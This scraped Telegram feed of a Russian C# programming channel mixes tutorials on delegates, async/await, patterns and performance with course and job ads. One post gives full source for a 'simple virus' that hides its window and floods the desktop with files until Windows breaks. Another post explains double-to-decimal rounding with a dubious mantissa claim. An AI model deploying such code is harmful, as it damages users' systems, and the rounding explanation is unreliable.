csharp_ci | Unsorted

Telegram-канал csharp_ci - C# (C Sharp) programming

18377

По всем вопросам- @haarrp C# - обучающий канал Senior C# разработчика. @ai_machinelearning_big_data - Machine learning @itchannels_telegram - 🔥лучшие ит-каналы @csharp_ci - C# академия @pythonlbooks- книги📚 Реестр РКН: https://clck.ru/3Fk3kb

Subscribe to a channel

C# (C Sharp) programming

🖥 Event и delegate: в чем отличие?

Начнём с того, что event и delegate — это 2 абсолютно разных вещи. Разница между полем-делегатом и event'ом примерно такая же, как между полем и свойством: event иногда выглядит как делегатное поле. Давайте разберёмся в этом.

⏩delegate — это класс, содержащий в себе «шаблон» метода, то есть, сигнатуру метода. Переменная делегатного типа — объект типа MulticastDelegate (точнее, производного от него), который может содержать один или несколько объектов, представляющих собой методы с совместимой с «шаблоном» сигнатурой (контр- и ковариантность немного усложняет картину). То есть это как бы переменная, которая может содержать функции. Для таких переменных определена операция +, которая комбинирует слагаемые-функции в одну новую функцию, и симметричная операция -. Эти операции автоматически порождают производные операции += и -=.

⏩event же — это просто пара методов в классе, обозначаемых как add и remove, и имеющих произвольную семантику, выбранную программистом. (Аналог — геттер и сеттер свойства.) В имплементации по умолчанию для event'а заводится скрытое поле делегатного типа, а add/remove добавляют или убирают из него методы (под lock'ом). (Чтобы немного запутать картину, это скрытое поле доступно по тому же имени, что и event.) Функции add/remove, составляющие event, *вызываются* соответственно как += и -=. Никаких операций +/-, разумеется, нету.

📎 Подробнее

@csharp_ci

Читать полностью…

C# (C Sharp) programming

🖥 Море полезных ресурсов по C#

Здесь и сборники рецептов, и теория по сетевому программированию, и паттерны проектирования приложений, и описание принципов работы асинхронного кода
Даже ссылки на обзоры IDE и инструменты для работы с C#
Рекомендую)

📎 Ссылка

@csharp_ci

Читать полностью…

C# (C Sharp) programming

🖥 Avalonia UI — система для разработки мультиплатформенных приложений с помощью .NET

⏩Avalonia - это открытая, кроссплатформенная графическая система отображения. Она входит в .NET Foundation и является одним из самых активных проектов сообщества в области IT. Она используется для создания продвинутых и красивых интерфейсов. Avalonia поддерживает множество платформ, включая Windows, Linux, macOS, iOS, Android и WebAssembly.

⏩Созданная на современном стеке .NET, Avalonia позволяет использовать любой язык из семейства .NET (C#, F#, Visual Basic) и язык разметки XAML для определения интерфейса. Подобно WPF, Avalonia использует систему стилей на основе XAML, а ее система компоновки и привязки данных предоставляет знакомую среду для разработчиков, имеющих опыт работы с фреймворками, основанными на XAML.

⏩Ключевым отличием Avalonia от других графических систем является отсутствие привязки к графическим элементам операционной системы. Вместо этого используются собственные элементы, обеспечивающие гибкость и высокую степень единообразия поведения на разных платформах.

📎 Ответы на частые вопросы про Avalonia
📎 GitHub

@csharp_ci

Читать полностью…

C# (C Sharp) programming

🔥Подборка лучших обучающих каналов для программистов.

➡️ Делитесь с коллегами и сохраняйте себе, чтобы не потерять

⚡Машинное обучение

Machine Learning - запускаем лучшие ИИ модели, пишем код, погружаемся в нейросети
Ml Собеседование - подготовка к собесу по мл, алгоритмам, коду
Ml ru - актуальные статьи, новости, код и обучающие материалы
Ml Jobs - вакансии ML
ML Книги - актуальные бесплатные книги МО
ML чат

🏆 Golang
Golang - изучи один из самых перспективных языков на ит-рынке
Golang собеседование - разбор задач и вопросов с собесов
Golang вакансии -работа для Go разработчика
Golang книги библиотека книг
Golang задачи и тесты
Golang чат
Golang news - новости из мира go
Golang дайджест

💥 Linux /Этичный хакинг
Linux Academy - гайды, секреты и лучшие материалы по Linux
Kali linux - погрузись в мир этичного хакинга и кибербезопасности
linux_kal - kali чат
Информационная безопасность

🚀 Data Science

Анализ данных - полезные фишки, код, гайды и советы, маст-хэв датасаентиста
Data Jobs - ds вакансии
Аналитик данных
Data Science книги - актуальные бесплатные книги
Big data

🛢Базы данных
Sql базы данных - научим работе с базами данных профессионально
Библиотека баз данных
SQL чат
Вакансии Sql аналитик данных

#️⃣C#

С# академия - лучший канал по c#
С# заметки — код, лучшие практики, заметки программиста c#
С# задачи и тесты
С# библиотека - актуальные бесплатные книги
C# вакансии - работа

🐍 Python

Python/django - самый крупный обучающий канал по Python
Python Собеседование - подготовка к собеседовению python и разбор алгоритмов
Pro python - статьи, новости, код и обучающие материалы
Python Jobs - вакансии Python
Python чат
Python книги

☕ Java

Java академия - java от Senior разработчика
Java вакансии
Java чат
Java вопросы с собеседований
Java книги

💻 C++

C++ академия
С++ книги
C++ задачи - подготовка к собеседовению мл, алгоритмам
C++ вакансии

⚡️ Frontend
Javascript академия - крупнейший js канал
React - лучшие гайды и советы по работе с react
Frontend - тутрориалы, уроки, гайды, код
PHP
Книги frontend
Задачи frontend

🦀 Rust
Rust программирование
Rust чат
Rust книги для программистов

📲 Мобильная разработка
Android разработка
Мобильный разработчик гайды и уроки

🇬🇧 Английский для программистов

🧠 Искусственный интеллект
ИИ и технологии
Neural - нейросети для работы и жизни
Книги ИИ
Artificial Intelligence

🔥 DevOPs
Devops для программистов
Книги Devops

🌟 Docker/Kubernets
Docker
Kubernets

📓 Книги
Библиотеки Книг для программситов

💼 Папка с вакансиями:
Папка Go разработчика:
Папка Python разработчика:
Папка Data Science
Папка Java разработчика
Папка C#
Папка Frontend

Читать полностью…

C# (C Sharp) programming

Бесплатный курс для middle C#-разработчиков от Ozon

На курсе Route 256 инженеры Ozon расскажут про самые современные технологии, а также поделятся своим опытом разработки микросервисов.

Будут лекции, воркшопы, код-ревью домашних заданий и профессиональное комьюнити. Курс рассчитан на разработчиков с опытом от 3 лет, в конце Ozon предлагает офферы лучшим выпускникам.

Чтобы попасть на курс, нужно пройти отборочный контест 5 мая.
Узнать подробности и подать заявку

Читать полностью…

C# (C Sharp) programming

🖥 Необходимо определить делегат и реализовать метод

⏩Итак, вот задание:
определить делегат bool CounterHashSetDelegate(int a) и реализовать метод int Function12(HashSet<int> intSet, CounterHashSetDelegate filter), который возвращает количество элементов из intSet, которые удовлетворяют условию filter.

public static  class 
{
public delegate bool CounterHashSetDelegate(int a);
public static int Function12(HashSet<int> intSet, CounterHashSetDelegate filter)
{

int count = 0;
foreach (int i in intSet)
{
if(filter(i))
count++;
}
return count;
}
}



⏩Давайте сразу к сути, решение может выглядеть так:
public delegate bool CounterHashSetDelegate(int a);

class Program
{
static void Main(string[] args)
{
CounterHashSetDelegate d = IsEvenNum;

Console.WriteLine($"Количество четных элементов:{Function12(new HashSet<int> { 1, 2, 3, 4, 5 }, d)}");

d = IsGreaterThen;

Console.WriteLine($"Количество элементов > 2:{Function12(new HashSet<int> { 1, 2, 3, 4, 5 }, d)}");

Console.ReadKey();
}

public static bool IsEvenNum(int a)
{
return a % 2 == 0;// четное ли число например
}

public static bool IsGreaterThen(int a)
{
return a > 2;//больше ли например
}


public static int Function12(HashSet<int> intSet, CounterHashSetDelegate filter)
{

int count = 0;
foreach (int i in intSet)
{
if (filter(i))
{
count++;
}
}
return count;
}

}

Вот и все дела

@csharp_ci

Читать полностью…

C# (C Sharp) programming

Добавьте в свое портфолио кейс по решению задачи с микросервисной архитектурой бесплатно и всего за пару часов

На практическом уроке «Масштабируемая архитектура для систем обработки платежей».

На вебинаре:
- рассмотрим решение задачи по построению масштабируемой отказоустойчивой системы обработки платежей;
- обсудим применения шардирования, паттерна Saga, двухфазного коммита и выбор уровня изоляции транзакций;
- получим описание верхнеуровневой архитектуры.

Занятие пройдёт 24 апреля в 20:00 мск в рамках курса «Microservice Architecture». Доступна рассрочка на обучение!

👉 Чтобы посетить открытый урок, зарегистрируйтесь: https://otus.pw/LG6se/?erid=LjN8KC4V4

Читать полностью…

C# (C Sharp) programming

🖥 Делегаты C#

Объект дня — делегаты
Давайте вспомним и освежим основную инфу

⏩Делегат — это объект, который может ссылаться на метод или несколько методов. Следовательно, когда создается делегат, то в итоге получается объект, содержащий ссылку на метод. Иными словами, делегат позволяет вызывать метод, на который он ссылается.

⏩По сути, делегат — это безопасный в отношении типов объект, указывающий на другой метод (или, возможно, список методов) приложения, который может быть вызван позднее. В частности, объект делегата поддерживает 3 важных фрагмента информации:
— адрес метода, на котором он вызывается
— аргументы (если есть) этого метода
— возвращаемое значение (если есть) этого метода

⏩Пример использования делегата на изображении.
Делегат — это по сути очередь в которую можно добавить сколько угодно методов. При выполнении train += Wagon2; мы добавляем 2й вагон в очередь.
Причина, почему на экран вывелась цифра 3 после выполнения всех методов в том, что если функция имеет возвращаемое значение, то возвращается значение с последней добавленной "в очередь" функции.

@csharp_ci

Читать полностью…

C# (C Sharp) programming

ХОЧЕШЬ ПОВЫШЕНИЕ В 2024 ГОДУ? 😎🔥

Согласно опросу, проведенному компанией Solo.io в 2022 году, на текущий момент 85% организаций переводят свои IT-системы на микросервисную архитектуру.

Но специалистов, которые глубоко понимают все тонкости и нюансы микросервисной архитектуры не так-то много.

Самое время разобраться в микросервисной архитектуре и стать более востребованным специалистом.

🚀 Стартуем 9 апреля.

Курс ведет действующий архитектор Кирилл Ветчинкин. Он успешно реализовал проекты с применением микросервисов для Мегафона, Теле2, ВСS Brокer, СберМаркет. Постоянный спикер крупных IT-конференций.

На курсе вы:
📌 Изучите и отработаете более 20 паттернов микросервисной архитектуры
📌 Познакомитесь c Domain Driven Design
📌 Научитесь декомпозировать систему на микросервисы с помощью Event Storming и DDD
Полная программа ТУТ https://microarch.ru/?utm_source=posev&amp;utm_medium=erid:2VtzqwKifY2&amp;utm_campaign=4

А самое главное — будет поддержка от эксперта, чат с одногруппниками и интересное практическое задание. Сертификат об участии по итогам прохождения курса.

Курс ориентирован на системных аналитиков и разработчиков, которые хотят больше погрузиться в архитектуру современных IT систем.

Узнай больше о курсе 👉 https://microarch.ru/?utm_source=posev&amp;utm_medium=erid:2VtzqwKifY2&amp;utm_campaign=4

Реклама. ИП Ветчинкин К.Е. ИНН: 773376451099 Erid: 2VtzqwKifY2

Читать полностью…

C# (C Sharp) programming

В этом году ШАД Яндекса увеличивает набор студентов на треть

Отвечая на растущий запрос рынка на сильных ML-специалистов, Школа анализа данных Яндекса, где бесплатно готовят профессионалов в ML и Data Science, примет более 400 студентов в новом учебном году. О том, что образование в сфере ИИ — всё более перспективный выбор, говорит и исследование ШАДа: каждый четвертый выпускник работает в научной сфере, а 77%  устраиваются в крупные технологические компании, в числе которых Яндекс, Авито, Тинькофф, VK, Сбер и другие.
Те, кто хочет участвовать в конкурсном отборе в ШАД, найдут подробности поступления здесь.

@csharp_ci

Читать полностью…

C# (C Sharp) programming

🖥 Декоратор — описание паттерна с примером на C#

Декоратор — это структурный паттерн, который позволяет добавлять объектам новые поведения на лету, помещая их в объекты-обёртки.
Паттерн можно часто встретить в C#-коде, особенно в коде, работающем с потоками данных.

А вот некоторые мысли из статьи:

⏩Декоратор может решать, к примеру, такую проблему: пользователи хотят получать оповещения о критических проблемах через разные каналы

⏩То, что делает декоратор, в некоторых случаях можно получить через наследование
Но появляются проблемы, такие как статичность и невозможность наследовать поведение нескольких классов одновременно

⏩Альтернатива наследованию - агрегация или композиция, которые позволяют одному объекту делегировать работу другому

⏩Декораторы имеют общий интерфейс, что позволяет клиенту работать с обёрнутыми объектами без изменения кода

📎 Статья
📎 Пример на C#

@csharp_ci

Читать полностью…

C# (C Sharp) programming

erid: LjN8JzPej

Привет!

Мы BAUM, российская IT-компания. Наша работа — создавать продвинутые системы хранения данных и разрабатывать прикладной искусственный интеллект.

Недавно мы завели аккаунт, где делимся своим опытом, даём советы для успешной карьеры, рассказываем об интересных событиях из нашей жизни и, конечно, публикуем вакансии.

Обещаем, что будет очень полезно и совсем не душно — подписывайся!

Читать полностью…

C# (C Sharp) programming

«А что там собственно нового в C# 12?»

Интересное видео, в котором Евгений Федотов рассказывает о нововведениях в C# 12

О чём вообще речь?
⏩Упрощение определения типов, использование точки с запятой вместо фигурных скобок.

⏩Collection-оператор, объединение массивов в одну коллекцию.

⏩Атрибут эксперимента, для указания на экспериментальный код.

⏩Атрибут для перехвата методов.

⏩Использование перехватчиков для логирования и других целей.

⏩Возможность указывать функциональные значения для лямда-выражений.

⏩Возможность выдавать псевдоним любому типу или кортежу.

⏩и ещё освещается много всего, так что будет полезно

📎 Кликабельный план видео
📎 Видео

@csharp_ci

Читать полностью…

C# (C Sharp) programming

Устал писать тесты с кучей моков? Сложно поддерживать приложение, ведь бизнес логика перемешалась с инфраструктурой? 😰

Присоединяйся к нашему практическому курсу по Domain Driven Design, где за 10 вебинаров мы разложим все по полочкам.

🚀Стартуем 1 апреля. Присоединяйся прямо сейчас https://microarch.ru/courses/hexagonal-architecture?utm_source=posev&amp;utm_medium=erid:2VtzqwtV8Fo&amp;utm_campaign=13

Наш курс по Domain-Driven Design позволит вам изучить основы и принципы этого подхода, а также освоить практические навыки, необходимые для успешного применения DDD в реальных проектах. Вы узнаете:
✅ Что такое Domain-Driven Design и почему он так важен для современных разработчиков.
✅ Основы проектирования доменов и формирование предметной области.
✅ Принципы и методы моделирования предметной области, включая разработку моделей предметной области и определение бизнес-правил.
✅ Создание эффективных и масштабируемых сервисов с использованием DDD.
✅ Применение шаблонов проектирования и принципов DDD для оптимизации кода и повышения производительности.

Курс ведет действующий архитектор и разработчик Кирилл Ветчинкин. Он успешно реализовал проекты для Мегафона, Теле2, ВСS Brокer. Постоянный спикер крупных IT-конференций.

Не упусти шанс стать экспертом! Присоединяйся к нашему курсу и раскрой свой потенциал в разработке успешных проектов уже сегодня https://microarch.ru/courses/hexagonal-architecture?utm_source=posev&amp;utm_medium=erid:2VtzqwtV8Fo&amp;utm_campaign=13

Реклама. ИП Ветчинкин К.Е. ИНН: 773376451099 Erid: 2VtzqwtV8Fo

Читать полностью…

C# (C Sharp) programming

❓Как С#-разработчику вырасти до уровня Senior в 2024?

Изучить .NET Framework, Scrum-методики и многое другое на онлайн-курсе «C# Developer. Professional» от OTUS.

Программа идеально подходит для начинающих C#-разработчиков, которые хотят развиваться в серверной разработке, создании приложений и микросервисов.

На курсе вас ждут:

- живые вебинары с возможностью задать вопросы экспертам;
- много практики и сильные проекты для портфолио;
- поддержка профессионального комьюнити.

👉 Пройдите бесплатный тест прямо сейчас и узнайте, готовы ли вы сделать следующий шаг в карьере: https://otus.pw/Wszi7/?erid=LjN8K2gXC

Реклама. ООО "ОТУС ОНЛАЙН-ОБРАЗОВАНИЕ". ИНН 9705100963.

Читать полностью…

C# (C Sharp) programming

😎Хотите освоить систему контроля версий git и улучшить свои навыки разработки на С#?

 💪Приходите на бесплатный практический урок «Система контроля версий git» от OTUS. Спикер — опытный Fullstack-разработчик на стеке C#(.NET) и Javascript (React).

👨‍🏫На вебинаре вы изучите основные понятия и операции git, которые помогут вам эффективно управлять версиями вашего кода и начать успешную карьеру в программировании! Занятие подойдет новичкам и продолжающим разработчикам на С#.

🥉Урок пройдет 23 апреля в 20:00 мск и будет приурочен к старту большого курса «Специализация C# Developer». После вебинара вы получите специальную цену на обучение и персональную консультацию от наших менеджеров!

💯Регистрируйтесь прямо сейчас, чтобы не пропустить бесплатный урок: https://clck.ru/3A7HQh 

Реклама. ООО "ОТУС ОНЛАЙН-ОБРАЗОВАНИЕ". ИНН 9705100963.

Читать полностью…

C# (C Sharp) programming

🖥 Visual Studio 17.10 получит унифицированный интерфейс Copilot, объединяющий функции Copilot и Copilot Chat

⏩Microsoft объявила, что Visual Studio 17.10, выход которой запланирован на май, получит унифицированный интерфейс Copilot, объединяющий функции Copilot и Copilot Chat в одном пакете. Это должно устранить необходимость установки двух отдельных расширений и позволит «глубже интегрировать в приложение возможности искусственного интеллекта».

⏩Ознакомиться с новым унифицированным интерфейсом можно в версии Preview 3 по подписке GitHub Copilot.

@csharp_ci

Читать полностью…

C# (C Sharp) programming

🖥Ускоряем Dictionary в C# при помощи структур и CollectionsMarshal

Как C# разработчик, вы по-любому знаете класс Dictionary. В качестве значений вы, скорее всего, использовали классы.
А знаете ли вы, что в Dictionary можно использовать структуры? Не стоит бояться того, что структуры копируются при передаче в метод или возврате из него. Есть способ этого избежать, и это работает быстро.

Собственно, об этом и говорится в статье, а вот некоторые выводы из неё:
🟡Структуры — недооценённые элементы C#, которые, при определённых условиях, способны ускорить ваше приложение.

🟡При использовании структур в качестве значений для Dictionary лучше воспользоваться классом CollectionsMarshal.

🟡Методы этого класса GetValueRefOrAddDefault и GetValueRefOrNullRef позволяют получать элементы словаря по ссылке. Это, в свою очередь, может положительно сказаться на производительности кода при относительно большом количестве операций поиска в словаре.

📎 Статья

@csharp_ci

Читать полностью…

C# (C Sharp) programming

🖥 10 простых и не очень однострочников на C#

⏩Удваивание всех чисел в списке

Print("Multiple each item in a list by 2", Enumerable.Range(1, 10).Select(i => i * 2));


⏩Сумма списка чисел
Print("Sum a list of numbers", Enumerable.Range(1, 1000).Sum());


⏩Проверка вхождения подстроки
var wordlist = new[] { "C#", "and stuff" };
var tweet = "This is an example tweet talking about C# and stuff";
Print("Verify if a word exists in string", wordlist.Any(word => tweet.IndexOf(word) > -1));
Print("Show matched words in string", wordlist.Where(word => tweet.IndexOf(word) > -1));


⏩Чтение файла
Print("Read in a File", File.ReadAllBytes("oneliners.exe").Length);


⏩С днём рожденья
Print("Happy Birthday", Enumerable.Range(1, 4).Select((i) => string.Format("Happy Birthday {0} ", i == 3 ? "dear NAME" : "to You")));


⏩Фильтрация списка чисел
var passed = new List<int>();
var failed = new List<int>();

(from bucket in new[] { passed, failed } from i in new[] { 49, 58, 76, 82, 88, 90 } select new { bucket, i }).ToList().ForEach((tuple) => tuple.bucket.AddRange(Enumerable.Repeat(tuple, 1).Where((tup) => (tup.bucket == passed && tup.i > 60) || (tup.bucket == failed && tup.i <= 60)).Select((tup) => tup.i)));
Print("Filter list of numbers >60", (IEnumerable<int>)passed);
Print("Filter list of numbers <=60", (IEnumerable<int>)failed);


⏩Получение и разбор XML от веб-сервиса
Print("Fetch and Parse an XML web service", XDocument.Load("http://search.twitter.com/search.atom?&amp;q=scala"));


⏩Поиск минимума и максимума в списке
Print("Find minimum in a list", Enumerable.Min(new[] { 14, 35, -7, 46, 98 }));
Print("Find maximum in a list", Enumerable.Max(new[] { 14, 35, -7, 46, 98 }));


⏩Параллельная обработка
Print("Parallel Processing", Enumerable.Range(1, 10).AsParallel().Select((i)=>i*2).AsEnumerable());


⏩FizzBuzz
Print("Fizzbuzz", Enumerable.Range(1, 15).Select((i)=>i + (i%3==0?"fizz":"") + (i%5==0?"buzz":"")));


@csharp_ci

Читать полностью…

C# (C Sharp) programming

#ПятничныйКвиз #ПрощеНекуда

Читать полностью…

C# (C Sharp) programming

🖥 Блеск и нищета паттерна «Спецификация» в С#. Оцениваем планы запросов

⏩Держите годный контент. О чём статья?
О паттерне «Спецификация», который позволяет улучшить структуру приложения, и, следовательно, увеличить гибкость, уменьшив при этом объем кода, а значит - сократить количество ошибок, но это не точно.

⏩Из статьи напрашивается такой очевидный вывод: паттерн «Спецификация» выгоднее всего использовать там, где модели состоят из нескольких десятков или сотен полей и к ним нужно применять сложные критерии фильтрации данных.

📎 Статья

@csharp_ci

Читать полностью…

C# (C Sharp) programming

🖥 Garnet — кэш от Microsoft, написан на C#, уделывает и Redis, и Dragonfly

Как видно из бенчмарков, это сейчас вообще самый быстрый сервер структур данных на всём диком западе:

Практически полностью совместим с Redis на уровне API, но при этом:
⏩Имеет либеральную MIT лицензию, как и все последние крупные проекты MS, и этим крайне выгодно отличается от Redis
⏩Написан на C#, и позволяет удобно расширять сервер
⏩Делает по производительности и Redis, написанный на C, и Dragonfly написанный на C++

🖥 GitHub

@csharp_ci

Читать полностью…

C# (C Sharp) programming

#ПятничныйКвиз #карательныйсишарп

Читать полностью…

C# (C Sharp) programming

🖥 Пишем невероятно простой вирус на C#

Всё в этом посте описано исключительно в образовательных целях

Любой программист должен написать свой маленький вирус.
В этом посте у нас простой вирус в 30 строк. Принцип роботы таков: он включается и начинает создавать пустые файлы на робочем столе, и когда файлов создается больше 500 explorer.exe (проводник, процесс который управляет рабочим столом и не только) начинает глючить и выключается. В конце концов он вообще перестает включатся даже после перезагрузки ПК. После этого система перестает работать или начинает страшно глючить (в зависимости от мощности компьютера).
Единственный способ вылечить ПК — удалить все файлы из папки рабочего стола.

Итак вот и код:

using System;
using System.Collections.Generic;
using System.Text;
using System.Runtime.InteropServices;
using System.Diagnostics;
class Admin
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]

// Настройка нужных переменных
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
const int SW_SHOW = 5;
static void Main()
{

// Скрываем программу
var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE);
Process pr = new Process();
pr.StartInfo.FileName = "prog.exe";
pr.StartInfo.Arguments = "-r";
pr.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
pr.Start();
pr.WaitForExit();
int i=0;

// Сам вирус =)
while(true){
i=i+1;
System.IO.StreamWriter sw = new System.IO.StreamWriter(@"C:\Users\"+Environment.UserName+ @"\Desktop\badfile"+i);
}
}
}


📎 Подробнее

@csharp_ci

Читать полностью…

C# (C Sharp) programming

🖥 Округление при преобразовании double в decimal

⏩При достаточно больших значениях double (с заданной целой частью) при его преобразовании в decimal происходит округление. Однако преобразование в long дает правильный результат.

double d = 1725040000979649;
long l = (long)d;
decimal result1 = (decimal)d; // 1725040000979650
decimal result2 = (decimal)l; // 1725040000979649

Почему так происходит? Можно ли как то преобразовать без округления?


⏩Это особенность преобразования. 1725040000979649 очень близко к максимальному значению мантиссы для типа double 179769313486232, и, видимо, дело именно в этом. Если убрать любую цифру, то всё будет норм.
41-45 округляется к 40, 46-49 округляется к 50.

Скорее всего, это сделано потому, что только диапазон 14-тиразрядных чисел может быть представлен точно полностью (до 99 999 999 999 999), поэтому 15-ый рязряд округляется.
Преобразовать без округления можно только так:
decimal result2 = (long)d;


@csharp_ci

Читать полностью…

C# (C Sharp) programming

🖥 Разбор разных практик тестирования в C#

Держите полезное видео, где обсуждается процесс тестирования в C# с разных сторон
Что именно рассматривается в видео?

⏩Тестирование и качество связаны с исследованием и испытанием программного продукта.

⏩Автоматизация тестирования имеет преимущества, но может быть сложной в разработке и поддержке.

⏩Определение количества и процента охвата теста рекомендуется на уровне 80%.

⏩Графики тестирования и качество продукта обсуждаются, и автоматизированное тестирование может быть более эффективным в долгосрочной перспективе.

📎 Кликабельный план видео
📎 YouTube

@csharp_ci

Читать полностью…

C# (C Sharp) programming

⚡️Компания Аванпост в поисках Разработчиков C# (Junior + / Middle)

🚀Какие задачи предстоит решать?
- Интеграционная разработка
- Разработка подключаемых модулей приложений (non-GUI) в соответствии с заданными интерфейсами, сервисов и приложений интеграционного слоя
- По мере профессионального роста – расширение сферы деятельности

👨‍💻Какие требования к кандидатам?
- Знание: С#, .Net Core
- Понимание концепций ООП и базовых шаблонов проектирования
- Понимание принципов работы реляционных СУБД
- Опыт написания простых SQL-запросов и работы с БД
- Технический английский, чтение документации и профессиональной литературы

🔥Что мы предлагаем:
- Удаленный формат работы
- Зарплата по результатам собеседования и определения навыков соискателя
- Профессиональный рост
- Оформление по ТК РФ

Узнал себя? 
Принимай участие в One Day Offer и становись частью крупной IT-компании!

Подробности и регистрация: https://tglink.io/31f0428d1860

Читать полностью…

C# (C Sharp) programming

🖥 Как на самом деле работает Async/Await в C#

Держите полезную статью о том, как реализована асинхронность в C#.

О чём статья?
⏩Статья обсуждает различия в реализации асинхронных методов в .NET Framework и .NET Core.

⏩В .NET Framework выделяется много объектов, связанных с асинхронными вызовами, что приводит к большому объему памяти.

⏩В .NET Core реализация асинхронных методов значительно изменилась, что привело к уменьшению выделения памяти.

⏩ExecutionContext в .NET Core теперь является неизменяемым, что упрощает передачу контекста и делает его передачу более распространенной.

⏩Логический CallContext в .NET Core больше не существует, а его функции моделируются через AsyncLocal<T>

⏩В .NET Core глобальная очередь ThreadPool реализована как ConcurrentQueue<T>, что позволяет оптимизировать выделение памяти.

⏩Реализация метода AwaitUnsafeOnCompleted в .NET Core отличается от .NET Framework, что приводит к более эффективному использованию памяти.

📎 Статья
📎 На английском

@csharp_ci

Читать полностью…

C# (C Sharp) programming

🖥 Интерактивный учебник по C#

Возможно, вы в курсе, что этот учебник существует. В любом случае, это отличный способ ознакомиться с C# и .NET

Пока что заданий в нём не много, а оглавление выглядит так:
— Запуск первой программы C#
— Объявление и использование переменных
— Работа со строками
— Другие действия со строками
— Строки поиска
— Выполнение задачи

Учебник будет развиваться и пополняться новыми заданиями, что очень неплохо

📎 Учебник

@csharp_ci

Читать полностью…

C# (C Sharp) programming

🖥 Годное видео о рефакторинге кода C#

В частности, в ролике идёт речь о таких вещах как:

⏩Переименование переменных и методов
— Улучшает ясность и понятность кода, делая его самодокументируемым.
Пример: система управления контентом, где переменные и методы не дают ясного понимания их назначения.

⏩Извлечение интерфейса
— Разделение определения операции от ее реализации, улучшение модульности, упрощение тестирования и увеличение гибкости кода.
Пример: система обработки платежей, где класс реализует методы для каждого типа платежа, но добавление новых способов обработки может быть проблематичным.

⏩Упрощение условных выражений
— Улучшение читаемости и поддержки кода, избегая сложных и больших условных выражений.
Пример: система управления заказами, где много уровней вложенности и проверок, что затрудняет чтение и понимание кода.

📎 Кликабельный план ролика
📎 Youtube

@csharp_ci

Читать полностью…
Subscribe to a channel